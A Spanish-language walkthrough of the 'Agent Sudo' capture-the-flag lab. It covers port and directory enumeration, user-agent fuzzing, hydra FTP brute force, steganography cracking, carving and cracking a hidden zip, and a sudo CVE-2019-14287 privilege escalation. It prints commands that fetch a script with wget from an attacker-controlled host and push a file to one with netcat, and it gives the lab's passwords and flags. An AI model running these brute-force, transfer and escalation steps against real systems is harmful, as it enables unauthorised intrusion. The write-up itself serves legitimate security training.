Vamos con el CTF Agent Sudo. En las etiquetas tenemos exploit, fuerza bruta, enumeración y hash cracking. Veremos, viendo el gráfico de puntuaciones, parece que no es muy fácil o, al menos, se les ha atragantado a muchos.

Enumerar

Enumera la máquina para obtener la información importante.

rustscan -a IP_Objetivo -- -A

Tenemos abiertos 21 (ftp), 22 (ssh) y 80 (http), así que:

¿Cuántos puertos hay abiertos?

3

Ftp no permite la identificación anónima sin contraseña. Un examen visual de la web revela una página en la que solo pone:

Dear agents,

Use your own codename as user-agent to access the site.

From, Agent R

Imagino que quizá se refiere al user-agent a la hora de hacer una petición o a que el nombre es la página oculta que nos pide la siguiente pregunta. A ver qué sale de un escaneo de Gobuster.

gobuster dir -u IP_Objetivo -w /usr/share/wordlists/dirb/common.txt

¿Cómo te rediriges a la página oculta?

user-agent

Uso el plugin user agent switcher para Firefox.

Si como user-agent pongo R (por lo de Agent R), me dice que qué estoy haciendo y si soy uno de los 25 empleados. Si no, reportará el incidente.

Si pongo C, aparece este mensaje:

Attention chris,

Do you still remember our deal? Please tell agent J about the stuff ASAP. Also, change your god damn password, is weak!

From, Agent R

Ha sido de churro, he puesto C por probar una letra al pensar que 25 podía referirse a letras del abecedario. Debería haber hecho un fuzzing de la petición con Burp o algo, pero ya ves.

¿Cuál es el nombre del agente?

Chris

Rotura de hashes y fuerza bruta

Hora de entrar por fuerza bruta. Nos pide entrar en el Ftp de esa manera. Tenemos contraseña débil y veamos si J u otro agente nos dice algo más.

Hago ese ataque de fuzzing con Burp y todas las letras del abecedario. Para eso, ejecuto Burp y capturo la petición. La envío al Intruder y pongo marcas de variable al inicio y al final del user-agent en la pestaña Positions.

Ataque de fuzzing con Burp

En la pestaña de Payloads pongo todas las letras del abecedario en mayúsculas y lanzo el ataque.

Ataque de fuzzing con Burp

Efectivamente, en las respuestas todas tienen la misma extensión excepto la C y la R. Los que he visto son los únicos mensajes distintos, no hay mucho más.

Voy a probar con usuario chris en FTP.

hydra -l chris -P /usr/share/wordlists/rockyou.txt IP_Objetivo ftp

Al poco tiempo aparece la contraseña crystal.

Contraseña del ftp

crystal

Entramos en el FTP con esas credenciales y hay 3 archivos, me los bajo todos. El archivo de texto es un mensaje para el agente J que dice:

Dear agent J,

All these alien like photos are fake! Agent R stored the real picture inside your directory. Your login password is somehow stored in the fake picture. It shouldn’t be a problem for you.

From, Agent C

Examinemos las imágenes. La que está en formato jpg puede tener algo y lo tiene, para eso, ataco con fuerza bruta la imagen a fin de extraer la estenografía. Me sirvo de una herramienta excelente, stegseek, que puede hacer un ataque de diccionario a una velocidad pasmosa, usando la lista rockyou.txt, por ejemplo, en menos de 2 segundos.

Stegseek se puede encontrar aquí:

https://github.com/RickdeJager/stegseek

Y ejecuto:

stegseek -sf cute-alien.jpg -wl /usr/share/wordlists/rockyou.txt

En un parpadeo me da la contraseña, Area51, así que la uso para sacar el mensaje con steghide.

steghide extract -sf cute-alien.jpg

Message.txt dice así:

Hi james,

Glad you find this message. Your login password is hackerrules!

Don’t ask me why the password look cheesy, ask agent R who set this password for you.

Your buddy, chris

Vamos al ftp con esas credenciales, pero da error, porque son las credenciales de james para entrar por ssh, que sí da un resultado positivo cuando tratamos de acceder.

Me he dejado atrás algo de un zip, que debería haber roto con John the Ripper según la pista. No esperaban que hubiera hecho fuerza bruta con stegseek ¯_(ツ)_/¯ .

A ver qué me he podido dejar. La imagen png puede contener algo, pero no es compatible con estenografía, sin embargo, puede ser otra cosa.

Cómo esconder un archivo en otro en Linux

Investigando sobre la cuestión, si le cambio el nombre a cutie.png por cutie.zip e intento descomprimir con unzip en terminal, me dice que hay bits extras y un archivo de texto To_agentR.txt que no puede sacar.

Eso puedo lograrlo con cat, por ejemplo. Para meter dos archivos en una imagen ejecuto:

cat image.png file.zip >> output.png

Para extraerlo, me dice que puedo renombrar output.png a output.zip y descomprimir con 7z para que no dé problemas (cosa que ocurre usando unzip).

Al hacer

7z e cutie.png

Nos pide contraseña que tendremos que sacar a la fuerza con John the Ripper. Antes de hacerlo, profundicemos más en lo de unir varios archivos en una imagen y separarlos.

Nos vamos a Hexeditor y buscamos (con Ctrl+w) la cadena (string) PK, que son las iniciales de Phil Katz, inventor del archivo zip. Hay varios PK, pero nos interesa el que aparece cerca de To_agentR.txt en las cadenas legibles de la parte derecha de Hexeditor.

Bien, ahora, hay que separar esa parte, aquí no es necesario porque 7z nos solventa el problema, pero en el futuro es posible que sí sea útil, así que vuelco lo aprendido.

Lo que queremos es la instrucción dd, que he usado antes para copiar archivos e imágenes de distribuciones Linux, pero es más poderoso y versátil.

Una vez encontrado, ponemos el cursor en la posición que ocupa PK en el código hexadecimal y miramos cuál es en la parte de arriba. Podemos ver que es 0x00008702.

Querremos que dd salte a esa posición e ignore todo lo que hay antes, pero dd solo trabaja con decimales, así que convertimos 0x00008702 a decimal. Lo hago con un conversor online cualquiera que busco en Google y obtengo 34652.

La herramienta binwalk nos facilita esto, porque examina el archivo, nos dice qué hy dentro y la posición del zip, sin necesidad de Hexeditor. Cosas que aprendes después, pero me alegro de haber conocido y aprendido el proceso manual por si binwalk no está.

Bien, ahora hacemos:

dd if=cutie.png bs=1 skip=34652 of=archivo.zip
  • if es input file, en este caso el png
  • bs es block size, le damos 1 en este caso.
  • skip es que salte a una posición y empiece desde ahí a copiar en otro archivo, la posición es lo que hemos trabajado antes y la ponemos en decimal.
  • of es output file, queremos el zip solamente.

Ahora, descomprimiendo con 7z nos vuelve a pedir contraseña. En este caso, todo esto es innecesario, pero quién sabe en el futuro.

Seguimos, el archivo debe estar en el formato adecuado para John the Ripper, así que hemos de usar zip2john.

zip2john archivo.zip > password.txt

Y ahora rompemos password.txt con john.

john password.txt

Al poco tiempo sale la contraseña del zip, que es…

alien

El mensaje To_AgentR.txt dice:

Agent C,

We need to send the picture to ‘QXJlYTUx’ as soon as possible!

By, Agent R

La parte ilegible está codificada en BAse64 y cuando decodifico, obtengo: Area51

Pues muy bien, aunque ya la tenía gracias a romper la imagen son stegseek.

Entro con James y esa contraseña.

En el directorio de james de ssh encontramos la bandera y una imagen, que me envío por Netcat

nc -lvnp 4000 > Alien_autospy.jpg # Inicio escuchador de Netcat en mi máquina, volcando lo que venga a un archivo jpg que se llama como el que me voy a traer y está mal escrito, por cierto.
nc IP_Ataque 4000 < Alien_autospy.jpg # Inicio Netcat en la máquina víctima y envío el archivo

¿Cuál es la bandera de usuario?

b03d975e8c92a7c04146cfa7a5a313c7

¿Cómo se llama el incidente de la foto? La pista dice búsqueda inversa de imagen y Fox News. Es el alien de Roswell, así que busco eso más Fox News y sale la noticia.

Roswell alien autopsy

Escalada de privilegios

Nos pide el número de CVE (Common Vulnerabilities and Exposures), así que veamos qué es vulnerable.

Subo el script linenum.sh a la máquina objetivo:

python3 -m http.server 4010 # Creo en mi máquina de ataque un servidor web con Python en el directorio donde tengo guardado linenum.sh
wget IP_Ataque:4010/linenum.sh # Lo traigo a la máquina objetivo con wget
chmod +x ./linenum.sh # Le doy permiso de ejecución
./linenum.sh # Ejecuto

Veo que la versión de sudo es antigua (1.8.21), me voy a exploit-db.com y veo una que afecta a lo que sea más antiguo que 1.8.27 y además, en el ejemplo del exploit coincide con lo que ocurre cuando hago sudo -l al usuario james.

Así que es esa y parece mentira, pero estoy acertando todo tan a la primera que hasta que me he saltado pasos. Todo un contraste con otras máquinas.

CVE-2019-14287

Descargo el exploit en Python y lo subo a la máquina víctima como he hecho con linenum.sh. Ejecuto con:

python3 exploit.py

Me pide nombre de usuario, le doy james y funciona, ya soy root.

Bandera de root:

b53a02f55b57d4439e3341834d70c062

Bonus, ¿cómo se llama el Agente R? (lo pone en el archivo de la bandera).

Deskel